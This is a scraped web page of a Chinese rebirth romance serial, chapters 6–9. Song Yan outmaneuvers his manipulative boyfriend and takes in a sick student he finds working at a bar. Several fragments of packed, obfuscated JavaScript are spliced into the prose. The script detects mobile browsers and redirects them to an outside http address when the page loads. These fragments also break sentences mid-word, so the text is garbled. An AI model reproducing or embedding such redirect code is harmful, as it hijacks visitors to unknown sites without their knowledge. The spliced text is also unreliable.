d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199347|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餍足感,仿佛某种蛇类进食后半眯起眼睛小憩。 大概是察觉到了司机探究的眼神,男生有些懒散地掀起眼皮,长眸微眯。 对视的那一刻,司机连忙移开了视线。 …… 宋宴的家是顶楼的一个大平层,整体黑白色调,装修得极其舒适。 换上家居服给手机充上电,宋宴整个人陷进了柔软的大沙发里,长舒了一口气。 “呼——” 他一边喊家里的智能管家把投影仪打开,一边打开手机发微信给哥哥报了平安,然后舒适地在沙发上拱成了一长条。 动作之间,宽大的家居服下摆被蹭开,露出了一小段细腻白皙的腰线,在灯光下散发着莹润的光泽。 他翻了个身斜斜地歪在沙发上,一边伸手去够桌子上摆盘的水果,忽然他的动作顿住。 宋宴意识到,这样平静的、属于自己的夜晚,他已经很久没拥有过了。 前世最后几个月—— 他像是魔怔了一样围着顾知远转,所有的喜怒哀乐都被那个人牢牢掌控着。 宋宴觉得自己那段时间甚至精神都有些不正常了。 从小到大都被骄纵养大的小少爷何时活得那么卑微过,甚至生怕一不小心就惹他生气,把自己的存在感压缩到了最低。 直到死前那一刻,他才明白自己活得有多可笑。 就在这时,手机“叮咚”一声。 屏幕亮起,那个熟悉的名字跳了出来——顾知远。 看着那三个字,宋宴唇角的笑意一点一点冷下来,凝结成了冰。 他居然还敢发消息过来? 他当然敢。 现在的顾知远,正需要宋家这棵大树来帮他拿下那个非常重要的项目。 宋宴这条听话好哄的人脉,他怎么舍得放手。 上一世,宋宴一直以为顾知远是喜欢自己的。 哪怕对方总是迟到,敷衍,还用各种理由推脱见面,他都傻乎乎地真信了那些鬼话。 直到烈火焚身的那一刻,听到电话那里的人称呼顾先生。 联想到之前所发生的一切,宋宴才终于明白,自己爱了这么多年的人,是个多么完美的恶魔。 他点开消息。 [明天有时间吗?] [我这边没什么事,要不要一起吃个饭?最近新开了家法餐,听说主厨很厉害。] 语气温柔体贴,一如过往。 但是看着这些文字,宋宴只觉得一股强烈的反胃感从胃里涌上来。 宋宴的脑子里,闪过了曾经他们约会的场景。 他像个傻子一样,每次都提前一两个小时就到约定地点等着。 那个时候天气很冷,他在寒风中冻得手脚冰凉,为了好看还不肯穿太厚,很多次回去都感冒发烧。 而顾知远却总是姗姗来迟。 来了之后,他还要轻描淡写地说一句路上堵车。 宋宴从来都不敢生气。 在对方姗姗来迟的时候,他都会搓一搓冻得发红的脸,笑着说“没事没事,我也刚到”。 光是这么想,宋宴都觉得自己重生前简直完全就是蠢货——怎么会有人傻到这种地步? 那些迟到完全就是顾知远在一点点测试他的底线,驯化他的服从性。 不仅如此,身边的人看到他逐渐失去了自我,也对他失望透顶。 那个时候本是他的事业蒸蒸日上的时期,但是跟顾知远恋爱的事不知道怎么被传了出去,更有人造谣他是因为看上了对方的钱才会这样舔狗。 哥哥去世的那段时间,他经历着严重的造谣和网暴。 想到自己之前遭遇的一切,宋宴的手心握成了拳头。 但是,男生很快冷静了下来。 愤怒解决不了问题,但上天给他机会让他重活一次,他一定要让对方付出代价。 前世这个时候,正是顾知远想通过宋宴争取那个招标,所以他才会忽然殷勤。 很好。 既然你想玩,我就陪你玩到底。 宋宴弯了弯唇角。 他在对话框里打字,语气甚至比从前还甜。 [可以啊,我当然有空^^] [那早上十点见?] 7. 见面 顾知远的消息回得很快。 [好啊,那我去接你?] [不用啦,我们直接在餐厅见吧] [我知道那家店,离我家挺近的^^] [好,那明天见,照顾好自己] [知道啦,你也是哦^^] 对话结束。 宋宴嗤笑一声,把手机随意扔到一边。 “嗯——” 他哼哼唧唧地在沙发上抻长胳膊伸了个懒腰,柔软的家居服下摆随之卷得更开,露出一段窄瘦白皙的腰身,弧线没入裤腰。 男生打个滚站起身,赤脚踩在柔软的地毯上,走到门口,修改了房门密码锁的密码。 不得不说前世的他真是蠢得可笑,连这个都跟顾知远说,还告诉他“你要是想来随时都可以来”。 如今想来,他只是又一次给了顾知远渗透他生活的机会。 改完密码之后,他浅浅地打了个哈欠。 按照往常,他总是要为第二天的约会提前做准备的,衣服要挑好,礼物要提前准备,甚至他会出揣摩对方可能喜欢的每一个细节。 但今晚,宋宴连闹钟都没定。 他舒舒服服洗了个澡,然后关掉手机走进卧室,把自己埋进了柔软蓬松的被褥里。 男生睡得格外沉。 …… 第二天下午一点二十分,宋宴才自然醒来。 阳光暖洋洋地在卧室铺了一层,在他脸上投下了柔和的光晕。 醒来后的宋宴蹭了蹭枕头,又赖了半个小时,这才撑起眼皮,慢悠悠地摸起床头的手机。 开机。 未读消息的提示音一瞬间涌入,全部来自顾知远。 [小宴,我已经到了] 这是九点五十发的。 [怎么不回消息?还没醒吗?] 这条是十点十五。 [你家的密码换了?] 这条是十一点发的,显然是从那边的餐厅找到了宋宴家里。 [我在楼下等了一个半小时了,你到底在哪?] [电话打不通,你在干什么] 到了十二点,顾知远的语气明显急躁了起来。 [宋宴,你是在闹脾气吗?] [醒了立刻回我消息,我很担心你] [宋宴,接电话!] 最后一条消息是下午一点发的,后面还跟着三个未接来电的记录。 宋宴一条条地往下翻,唇角勾起,忍不住流露出几分笑意。 舒服了。 从这几条消息中,他甚至能想象出对方等待的样子。 从一开始的从容优雅,到逐渐焦躁起来,再到气急败坏。 那个永远笑容得体的顾知远,从来都只有别人等他,没有他等别人的份,大概这辈子都没被人这样放过鸽子。 爽。 宋宴翻了个身。 不过……这怎么够呢? 宋宴思索片刻,这才慢悠悠开始戳着屏幕,打字回复。 他的语气无辜极了。 [对不起对不起对不起!!!QAQ] [我昨晚打游戏打到凌晨四点,一不小心睡过头了] [手机不知道怎么回事,没听到你的电话呀] [你现在还在楼下吗?我马上下来!] 点击发送。 发完这条,宋宴不紧不慢地起床,哼着歌走进浴室。 水汽蒸腾。 镜面模糊,只隐约勾勒出了一道纤细优美的轮廓,水珠顺着尖细的下颌滚过锁骨,没入更深的阴影中。 他慢条斯理地吹干头发,发丝蓬松微卷,衬得一张脸更精致。嘴唇嫣红水润,如同一朵玫瑰花苞。 再看手机时,顾知远的回复早就已经堆成了好几条。 [不用下来了,我已经走了。] [餐厅的位置我已经取消了。] [小宴,你就一点都不重视我们的约会吗?你这样我很失望。] 看着最后那句话,宋宴差点笑出声。 失望? 你有资格说失望? 前世我在寒风里等了你多少次?为你推掉了多少家人的聚会? 因为你一句不喜欢,我甚至改变了自己的穿衣风格,摘掉了喜欢的饰品,强行伪装出了乖巧的模样。 区区几个小时,你居然就受不了了? 宋宴勾起唇角,打字回复。 他的语气乖乖的,好像真知道错了一样。 [啊……你走了吗QAQ] [我真不是故意的,你别生气嘛] [那晚上呢?晚上还能一起吃饭吗,我请你,就当赔罪好不好^^] 他笃定顾知远不会拒绝,因为他需要利用宋宴帮他做事。 公司的项目,他拖不起。 果然,几分钟后,新的消息发了过来。 [那晚上七点,明溪见] [别再让我等了] 宋宴的笑意冷了下来。 明溪是一家高档精致的法餐厅,前世他就是在这傻乎乎地答应了顾知远的暗示,回去求哥哥帮帮顾知远。 [好呀好呀] 回完消息,宋宴放下了手机。 傍晚,宋宴穿着简单的卫衣,戴着大大的头戴耳机,外面套了件轻便暖和的短款羽绒外套就出门了。 男生本就是二十岁刚出头的年纪,这么穿完全就是青春气质男大,穿在身上比以往见顾知远时候硬凹的造型舒服一百倍。 六点五十,他准时踏入明溪。 顾知远已经等在了包厢里。 他一看就为了这次约会刻意提前准备过,穿着价值不菲的深灰色定制西装,衬得肩宽腿长,气质卓越。 他戴着一副金丝边眼镜,俊朗的脸上带着惯常的温和笑意,令人如沐春风,只是眼底还有一丝难掩的倦意。 看到宋宴的瞬间,他的眼底掠过一丝惊艳。 跟往常精心搭配却带着刻意讨好意味的装扮不同,面前的少年穿着随性自然,反而凸显出了一种干净的少年感。 在精致的餐厅里,如同一株带着露水的植物,清新得让人无法移开眼睛。 有一瞬间,顾知远几乎要忘记今天等待的不悦。 宋宴确实有这样的本事,用他那张过于漂亮的脸招摇过市,轻易扰乱他人的心绪。 他站起身,动作自然地伸手想揽住宋宴的腰,嗓音低沉悦耳:“小宴,你来了。” 宋宴不着痕迹地侧身避开,在对面坐下。 男生摘下耳机,笑容无辜:“等很久了?路上有点堵。” 一边说着,宋宴一边脱下外套。 黑色卫衣衬得他肤白如雪,唇色嫣红,明明是松散随意的打扮,却看起来愈发鲜活。 顾知远的手在空中略微一顿,随即从容收回,顺势为他拉开椅子,自己才落座。 “没,我也刚到。” 他目光落在宋宴脸上,带着几分关切:“头还疼吗?要不要紧?下次不舒服一定要第一时间告诉我。” 他的语气虽然温柔,却隐含着几分掌控的意味。 他很喜欢宋宴依赖他的样子。 那种全身心的仰望,能满足他某种最隐秘的占有欲,让他觉得自己能永远把这个漂亮的男生攥在手里。 “好多了。” 宋宴端起面前的茶杯,垂眸吹了吹热气,鸦翅般的羽毛在眼下投射出小小的阴影。 “下午在家休息,现在已经好多了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199348|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦对了,大门的密码……前两天我刚改完,忘告诉你了。” 说着,男生抬眸。 他的眼神清澈无辜:“让你白跑了一趟吗?对不起啊,阿远……” 这个昵称被他叫得又软又糯,还带着点小小的尾音。 顾知远露出了一个温和的笑容。 “我只是怕你出什么事,你人没事就行。” 顿了顿,他话锋一转,语气稍沉了下去。 “不过下不为例——别再让我担心了,嗯?” “知道啦。” 宋宴弯起眼睛,拿起菜单:“我们点菜吧,我饿了。” 虽然有求于宋宴,但顾知远没有直接表露来意。 他一边贴心地帮宋宴切好牛排,一边说。 “小宴,下周Elodie会来京市办画展,她本人会开一个小型的茶话会,你想见她吗?” “真的吗?我一直都很喜欢她的画哎。” “当然,之前我跟她助理有过合作,如果你想,我可以帮你联系她……” 灯光下,顾知远看上去笑眯眯的,他的金丝边眼镜偶尔泛出锐利的光泽,镜片后的眼神让人看不真切。 宋宴慢条斯理地抿了一口红酒,偶尔点点头,弯起眼睛附和两句。 餐后,服务生撤下盘子,桌面空旷了起来。 “叮”地一声轻响。 顾知远放下手里的银质餐具,慢条斯理擦了擦嘴角。 男人看向宋宴,泛着寒光的镜片下眼睛弯起了一个温柔的弧度。 “小宴,其实……我有件事想跟你商量。” “什么?” 宋宴微微抬眸。 男人倾身靠近,身上丝丝缕缕的柏木香缠绕过来。 “这件事很重要,会关系到我们的未来。” 未来? 宋宴心底轻哧。 前世,他也被这两个字一直吊着,曾真的希望他们能有一个完满的未来。 不过男生面上不显。 他用鼻音“嗯?”了一声,微微睁大眼睛,好像真的很感兴趣。 顾知远面上的笑意更深。 “只要你回去跟你哥哥说……” 等男人讲完,宋宴歪头,神情恰到好处地带了点天真的困惑。 “这个啊……我好像听哥哥说,这次审核会很严,有几家公司出问题被卡了?” “不过顾氏应该没这个问题吧?” “不然我贸然去说,万一弄巧成拙,反而造成什么不好的后果,那怎么办呀。” 宋宴怎么知道这个? 顾知远脊背微微一僵。 尽管脸上笑容不变,但男人的眼底极快地掠过一丝审视。 为了那个项目,他确实在准备好的一些材料上做了手脚,这种事确实不光彩,但也没人会知道。 宋宴怎么会突然说起这个……难道是巧合吗? 两人的目光在空气中触碰。 璀璨的灯火在彼此眼底细碎地晕开,却无半分暖意。 包厢里安静得可怕。 两人距离很近,近到能看清对方瞳孔里自己的倒影,温热的呼吸交织在一起。 宋宴脸上,依然挂着无懈可击的无辜笑容。 就在这时,男生放在桌边的手机屏幕亮了,打破了凝滞的氛围。 一条微信消息在锁屏界面弹出。 是季修岚。 [哥哥,晚上风大,出门记得多穿点衣服^^] “朋友?” 顾知远的目光不经意扫过宋宴的屏幕。 他嗓音依然平稳,带着男朋友应有的恰到好处的关心。 但是男人的手指却微微攥紧,目光比刚才深沉了许多。 8. 包养 宋宴的眼神微微动了动。 季修岚怎么会在这个时间发消息,还知道他出门了。 这个念头在他脑海中一闪而过,宋宴并未深想。 他笑了笑,语气随意地对顾知远说:“嗯,一个弟弟。” 他当着顾知远的面解锁了手机,直接打开跟季修岚的聊天界面朝对方那边偏了偏。 男生抬起眸子,尾音暧昧地勾起:“怎么?我们阿远还要查岗呀。” 界面一晃而过。 顾知远扫了一眼,瞥见了寥寥几条记录,时间是昨晚,内容很寻常,最后一句是宋宴发的。 [晚安^^] 说着,宋宴低头回复。 男生打字飞快,丝毫不避讳,顾知远视力好,能清楚地看到他回复的内容。 [知道啦,我正跟男朋友吃饭呢] “男朋友”三个字被他坦荡又亲昵地打在了对话框里,点击发送。 然后,宋宴重新看向顾知远,脸上带着点无奈:“这个小朋友有点粘人,对吧。” 顾知远唇角仍保持着温和的弧度,眉心却几不可察地蹙了一下。 太坦荡了。 就是如此坦荡的态度,反而莫名让他有些微妙的不安。 自己男朋友被一个所谓弟弟自然地关心着,而宋宴却仍然无知无觉,就好像一切于他来说都是顺理成章的。 这让他产生了一丝极淡的,被冒犯的不悦。 他深深看了宋宴一眼,虽然还是笑着的,但笑意未及眼底,眸色沉了些许。 带着几分成年人的调侃,他反问:“看来我们小宴很受欢迎?” 他在试探。 宋宴打字的手几不可察地顿了一瞬,随即抬眼,笑容无辜又灿烂。 “没有啦,阿远你想多了。” 顾知远没有继续追问。 他修长的手指在光洁的桌面上轻轻叩了叩,发出清脆的微响。 “晚上风大,是该多穿点。” 说着,男人笑了笑:“下次我会提醒你的。” 依然是那副游刃有余的模样。 “嗯嗯,知道。” 宋宴从善如流:“阿远最好啦。” 说着,男生看了眼表,很自然地站起身。 “快八点了,我明天学校还有事,得先回去了。” “项目的事你别着急啊,我回头问问哥哥。” 宋宴学的是编剧专业,现在就读于京市最大的戏剧学院。 他现在正是大四写完毕业论文最自由的时候,半只脚已经迈出校园了,但偶尔学校有事他还是得回去。 顾知远点点头。 他刚想问宋宴用不用送你,就看到男生已经穿戴整齐把大大的耳机重新戴回头上。 他朝顾知远挥了挥手,嗓音轻快。 “拜拜,下次见。” 包厢门被轻轻关上。 门内,顾知远脸上的温和笑意如同潮水般退去。 他独自坐在原处,面无表情,只有指尖在冰冷的桌面上轻轻敲击着,这是他思考时候的习惯。 半晌,顾知远拿起手机。 手机屏幕亮起冷光,映着他没什么情绪的眉眼。 他的指尖在通讯录上滑动,最终停在了一个名字上。 过了半晌,他终究还是移开,把屏幕摁熄。 没关系。 事情还没到这一步。 他可以用耐心和手段,将一切拨回正轨。 宋宴是他的,这一点从未改变,也不会改变。 但…… 顾知远身体微微后仰,整个人靠进椅背。 他的目光落在对面空了的座位上。 今天的宋宴,好像有点不受控制? 到底是他的错觉,还是那只金丝雀生出了别样的心思。 顾知远的眼睛在镜片的冷光下微微眯起。 …… 走出餐厅,夜风裹着寒意袭来。 宋宴深吸了一口气又缓缓吐出,终于感觉心情好了许多。 就在这时,口袋里的手机震动了一下。 是季修岚的回复,内容十分简短。 [嗯] [知道了] 不知为何,他的语气好像一下冷淡了下来。 他现在还不想再顾知远面前露出太多破绽,因此刚刚面对着他,宋宴才会用暧昧的语气跟季修岚说话——那个男朋友也是说给顾知远看的。 现在看着对方这么回复,他后知后觉有点尴尬。 宋宴摸了摸自己的鼻子。 正在脑子里思索着,他的手机屏幕又亮了。 是季修岚新发来的消息。 [转账:1032元] [哥哥,这是昨天你帮我垫付的医药费。我知道不够,剩下的等我赚了钱会还给你] 宋宴:“?” 男生眉头蹙起。 他没犹豫,直接把电话拨了回去。 忙音响了六七声,就在宋宴几乎要放弃的时候,电话被接了起来。 “喂?” 电话里,季修岚的嗓音似乎有些低哑,隐约带着几分疲惫。 “你哪来的钱?” 宋宴开口,声音里带着几分紧绷。 就在这时,他敏锐地捕捉到听筒对面好像异常嘈杂。 乱七八糟的音乐混杂着人声,好像还有玻璃杯碰撞的轻响,哄乱一片。 察觉到不对,宋宴微微眯起眼睛。 “季修岚。” 他直接叫了对方全名,语气认真:“你现在到底在哪。” “我……” 电话那边,季修岚的话似乎被环境吞没了。 可能是信号变好,他的后半段却又重新清晰了起来:“哥哥你别担心,我找了兼职,给你的是刚发的工资。” “地址。” 宋宴微微皱起眉,言简意赅地打断了季修岚。 男生沉下了脸。 他那双漂亮的眼睛平日里的散漫消失得一干二净,神色认真,不容置疑。 似乎不太想说,电话对面还是沉默着。 “季修岚。” 宋宴的声音一寸一寸底冷了下去:“你现在转钱给我,是想跟我划清界限?” “如果是这样的话,可以。” “你不用告诉我地址,我也不会再找你。” 少年的嗓音都冷硬了起来。 如同带着细碎的冰茬子直直刺了过去。 听筒里安静得诡异,宋宴几乎听见了自己心脏跳动的声音。 就在男生马上要丧失耐心的时候—— “对不起,哥哥。” 电话对面男生的声音很低,好像真的知道自己错了。 他很乖顺地报了一个地址:“我就在这工作,是临时找的,只能在这里……” 季修岚说的果然是一个酒吧。 这酒吧名气不小,甚至连从没去过的宋宴都从同学口中听说过,就在城中最鱼龙混杂的那一带。 “等着。” 扔下这两个字,宋宴直接挂断了电话。 宋宴打了个车,没到半小时就停在了就把门口。 这里的霓虹灯牌光怪陆离,映着进出男女妆容精致的脸和放肆的笑容。 门口的服务生带着笑脸把宋宴迎进去。 宋宴沉着脸,刚一推开门,就被浓烈的酒气和脂粉香气包围了。 在穿梭的人影当中,他一眼就看到了季修岚。 少年穿着酒吧统一的黑色服务生制服,白衬衫,黑马甲,衬得脸色在变幻的灯光下愈发苍白。 他的身形颀长纤瘦,此时手里正端着托盘,侧身避让一个醉醺醺的客人,动作非常生涩。 那客人大概是喝醉了,看他挡路,还气势汹汹地推了他一把。 少年身形踉跄,差点倒下。 就在站稳的那一瞬间,他若有所觉地向门口看了过来,两人的视线在空气里遥遥地一触即分。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199349|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋宴几步上前,一把攥住他的手腕。 手下的肌肤冰凉,脉搏却好像跳得有些快。 “跟我过来。” 他不由分说,拉着季修岚就往酒吧里稍微僻静的地方走。 酒吧的走廊狭窄昏暗,闪烁着暧昧的灯光,偶尔有相拥的男女擦肩而过,投来暧昧或探究的目光。 甚至有人看到他俩的姿态,还轻佻地吹了一声口哨。 宋宴只当做没看见。 直到将人带到楼梯拐角的阴影里,才松开手,顺势将人抵在了墙壁上。 “你不高考了?跑到这种地方来!” 酒吧非常嘈杂,虽然宋宴扬高了声音,但他的嗓音还是混入了音乐声中,显得有些不清楚。 季修岚微微侧眸。 他避开了宋宴灼人的视线,声音平静中带着几分空茫:“不考了。” “姥姥还在医院,我很需要钱。” “需要钱就来这种地方?” 宋宴气极反笑。 少年抬起下巴,倨傲的目光扫过周围靡乱的环境:“你知道这里是什么地方吗?你以为你能在这种地方守住底线吗?” “要是只想来钱快,你还不如签了赵易的合同!” 他知道季修岚处境艰难,也知道他现在没有其他的选择。 但一想到少年居然为了赚钱来这种地方,还第一时间把昨天的钱转了过来,他心里就燃起了一股莫名的火气。 宋宴直视着季修岚的眼睛,一字一顿:“你为什么不来找我呢?” 季修岚终于看向了他。 昏暗得光线下,少年的那双眸子黑得深不见底,里面似乎翻涌着某种复杂的情绪。 有一瞬间,宋宴几乎感觉自己要被他的目光吸进去了。 少年开口,声音依然轻轻的:“哥哥,你不欠我什么的。” “好,我不欠你。” 宋宴嗤笑一声,看向季修岚。 他的眼睛微微弯起,带上了一点薄情的笑意,在酒吧五光十色的灯光下,看上去居然有点浪荡。 男生不再废话。 他从口袋里掏出皮夹,抽出一张黑色卡片,用两只纤长漂亮的手指夹着,骨节还泛着淡淡的粉色。 “缺钱?” 宋宴的尾音挑起了一个暧昧的弧度:“这张卡,你可以随便刷。” 男生抬着下巴,漂亮的眼睛里燃烧着几分怒意,泛着微微的水光,显得潋滟又漂亮。 让人的心底都泛起一片痒。 季修岚的喉结莫名上下滚动了一下,眸色愈发深。 “哥哥,你这是什么意思?” 男生说话柔和又缓慢,清澈的嗓音里,染上了微微的沙哑。 宋宴的舌尖抵了抵腮帮,语气恶劣:“包养你啊,看不出来?” 说着,男生凑近了一些。 甜橙的气味萦绕上季修岚的鼻尖,跳跃着带着诱哄。 他掀起眼皮,表情痞里痞气的。 眼看着少年有些逃避似的微微后仰,男生轻轻从鼻子里哼了一声。 他带着卡片的手指抬起,极其轻佻地拍了拍季修岚苍白的脸颊。 冰凉的金属质感接触上了温热的脸颊。 一下,两下。 男生微微眯起眼睛,嗓音冷淡了下来。 他将手中的黑色卡片缓缓下滑,尖锐的边缘抵在季修岚的喉结上。 “还是说……你要我给你讲讲,包养是什么意思。” “好啊。” 就在这时,宋宴忽然感觉自己的手被冰凉的手指整个包裹住。 男生错愕地抬眸。 带着丝丝缕缕的薄荷冷香,被压在墙上的季修岚微微靠近,少年漆黑的眼底清楚地映出了宋宴秾丽的面容。 他嗓音柔缓,带着点天真般的执拗,轻轻歪了下头。 “可是哥哥,你都有男朋友了,拿什么包养我呢?” “不如……哥哥教教我?” 9. 同居 时间一瞬间暂停了。 季修岚猝然偏过头。 他长而浓密的睫毛低垂,不动声色地掩住眼底复杂的情绪。 但是心脏却跳得极快。 而宋宴的手用力了一些。 他看着季修岚,酒吧闪烁的灯光在男生琥珀色的眸子里留下了颓靡的底色,十分动人。 眼底那颗小痣更是引人注目。 低低地,男生笑出了声。 “你看我……” 宋宴顿了顿,身体向前几分—— 实在是太近了。 这样的距离,几乎能让人感受到对方若有若无的鼻息。 季修岚的身体微微紧绷。 宋宴眯起眼睛,嗓音微挑:“像那么有道德感的人?” 完全就是被宠坏的浪荡少爷。 一边弯起眼睛笑着,男生用纤细泛粉的指尖夹着卡片。 卡片锐利的边缘沿着季修岚衬衫的领口缓缓下滑。 隔着薄薄的衣料,轻微的刺痛和麻痒在皮肤上泛起,如同投掷了一颗石子在水面上。 最后,卡片被轻轻一推,落入少年制服胸前的衣袋里。 冰凉的质感一瞬间浸透布料,贴上温热的皮肤。 令人战栗。 “还是说,你以为男朋友在我心目中很重要?” 男生抬眸,目光盯着季修岚漆黑的眼睛,压低的嗓音里带着蛊惑。 他这样模样实在是太有迷惑性了—— 漂亮又浪荡,仿佛什么都不在乎。 只要他想要,世间万物皆可信手拈来,只要玩腻了就随手抛弃。 季修岚的喉结上下滚动了一下。 他苍白的唇抿成了一条直线,只有那双黑色的眸子深处隐约有晦暗的情绪蔓延生长。 他嘴唇动了动,似乎想说些什么。 就在这时,宋宴的指尖却触碰上了他的嘴唇。 “嘘——” 宋宴又笑了,带着种恶作剧得逞一般的快意。 “我开玩笑的。” 说着,男生的身体微微后退。 原来刚才那些暧昧和轻佻的举动,都不过是他一时兴起。 下一秒,宋宴的手指微微下移,指尖极其自然地挑起了季修岚的下巴。 男生的神色冷淡了下来。 他的视线描摹过季修岚苍白的脸颊、挺直的鼻梁,最后落进了那双冷清的眸子里。 “你知不知道……你长得还是挺好看的。” 季修岚睫毛猛地一颤:“?” 宋宴嗤笑一声,松开手。 他的指尖仿佛还残留着对方皮肤温热的触感:“但你想过,长成你这样的,在酒吧会遇到什么吗?” “平时摸你两把都算轻的。” 宋宴凑近,几乎贴着季修岚的耳廓,吐息温热:“要是他们往你酒里下点东西,然后带到不知道哪个地方……” 说到这,宋宴顿了两秒。 他的舌尖轻轻抵了抵上颚,带着赤裸裸的恶意:“睡了你。” “等你醒了,连对方是男是女、有几个人都不知道,”他退开些许,眼睛看着少年,“你说这怎么办?” 因为想让季修岚认识到这件事的严重性,宋宴刻意把话说得很重。 果然,他看到季修岚的身体几不可察地紧绷,垂在身侧的手握成拳。 他的睫毛颤抖得厉害,声音却竭力维持着平静:“……不会的。” “我知道这里工作不好,但我需要钱,姥姥她……” 话还没说完,季修岚的身体忽然轻微地摇晃了一下。 他的呼吸急促了一瞬,吐出的气息拂过宋宴近在咫尺的脸颊,带着灼烫的温度。 宋宴皱起眉。 他刚刚就觉得季修岚好像有点不对劲,现在对方苍白的脸色和额角渗出的冷汗给了他答案。 宋宴条件反射伸出手,用手背贴上了季修岚的额头。 一片滚烫。 “你发烧了!” 宋宴睁大眼睛。 季修岚手心的伤口肯定没有被好好处理,再加上酒吧污浊的环境—— 不生病才怪! 季修岚的身体几不可察地僵硬了一瞬。 少年偏过头避开宋宴的目光:“……没事,只是有点头晕。” 他的嗓音似乎愈发沙哑了,带着一点轻微的鼻音。 “头晕而已?” 宋宴几乎要被他这种轻描淡写的态度气笑了。 他不由分说抓起季修岚受伤的那只手。 借着灯光的边缘,他看到掌心的伤口已经结了新鲜的痂,边缘隐约有裂开的痕迹,周围的皮肤更是红肿开,摸起来烫得吓人。 肯定是伤口感染了之后发炎了。 “你这能叫没事?” 宋宴的嗓音扬高了几分:“都发炎成这样了,你居然还在这硬撑!” 季修岚垂下眸子,鸦翅般的睫毛在眼下投射出了脆弱的阴影。 他沉默了几秒钟,才用很轻的声音说:“我没办法了。” “之前为了姥姥的病,我借了伯伯一些钱,他现在天天堵在我住处催债,我必须赶紧挣钱。” “他……” 说到这里,季修岚顿了顿,声音里带着十足的疲惫。 “以前他们家出事,姥姥把家底都给他们了,我真没想到就为这些钱,他能把脸撕破到这个地步……” “现在,我连家都回不去了。” 季修岚说得很慢,但是宋宴却感觉自己的心脏好像被什么攥紧了。 他之前知道季修岚惨,但是没想到居然能惨到这种地步。 眼看着男生苍白着脸摇摇欲坠还在硬撑的模样,宋宴打断他。 “别说了。” “你现在这个样子哪也去不了。” “这样吧,”男生顿了顿,眼睛落在了季修岚苍白的脸颊上,“先跟我回去,你需要先养好身体。” 季修岚骤然抬眸。 他的眼底掠过了几分挣扎。 他仿佛本能地想拒绝宋宴,但是当撞上那双真诚的眼睛时,所有推拒的话都堵在了嗓子里。 半晌,他终于还是极轻地点了点头。 在宋宴转过头的一刹那—— 少年的唇角轻轻勾起,快得仿佛错觉。 …… 因为只工作了一天,所以宋宴跟经理说季修岚要走的时候,对方脸色非常难看。 不过小少爷财大气粗,懒得跟对方扯皮,直接把避开季修岚,把他一天工资的三倍转了回去。 经理的脸色由阴转晴,殷勤地送他们出门。 “你烧成这样必须要人照顾,今天去我那住。” 宋宴把季修岚扶上车:“之后的事,等你好了再说。” 季修岚已经有些昏沉,他的头抵在车窗玻璃上,没有说话。 回到家,宋宴打开灯,找出医药箱帮季修岚重新处理伤口。 男生微微抿着唇。 怎么会有人对自己狠心到这个地步。 季修岚的手本来是很好看的,但是那伤口却狰狞地盘踞在皮肤上,触目惊心。 虽然小心,但男生处理伤口的动作却很生疏,下手或重或轻,季修岚的手指几不可察地蜷缩了一下。 他漆黑的眼睛却一直专注地看着宋宴的侧脸。 “你先住客房。” 处理完伤口后,宋宴指了指旁边的房间:“后天周一,我送你去学校,顺便跟老师说明情况。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199350|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向季修岚,语气认真:“今年的高考,你必须参加。” 季修岚嘴唇微动,似乎想拒绝。 但宋宴已经能料到他准备说什么了。 男生抬手虚虚地一拦,堵住了少年马上要说出口的话。 他一字一顿:“季修岚。” “高考是你现在能抓住的最有可能改变命运的路。” “别放弃。” 男生目光灼灼。 这话说出口,他自己都觉得自己正得发邪。 他心里微妙地爽了。 以前都是他哥和他爸妈轮番催他学习,现在终于轮到他劝别人。 看来他已经是一个成熟的成年人了! 少年沉默了许久,终于还是点点头。 他几不可闻地“嗯”了一声。 看他答应,宋宴心里小小地雀跃了一下。 “好了,去洗漱吧,伤口别碰水。” 看着他喝下退烧药,宋宴安心起身。 他对季修岚说:“我去帮你找睡衣,一会放客房卫生间门口。” 季修岚乖乖点头,站起身。 看着他过于单薄的背影,宋宴还是觉得有点不可思议。 他居然真把刚认识两天的人领家里来了? 明明昨天,他还把这个想法否认掉。 就在这时,宋宴的手机忽然响了一声。 他打开,发现居然是顾知远的消息。 [小宴,你今晚去Wewe了?] 这是季修岚工作的那家酒吧的名字。 顾知远怎么知道的? 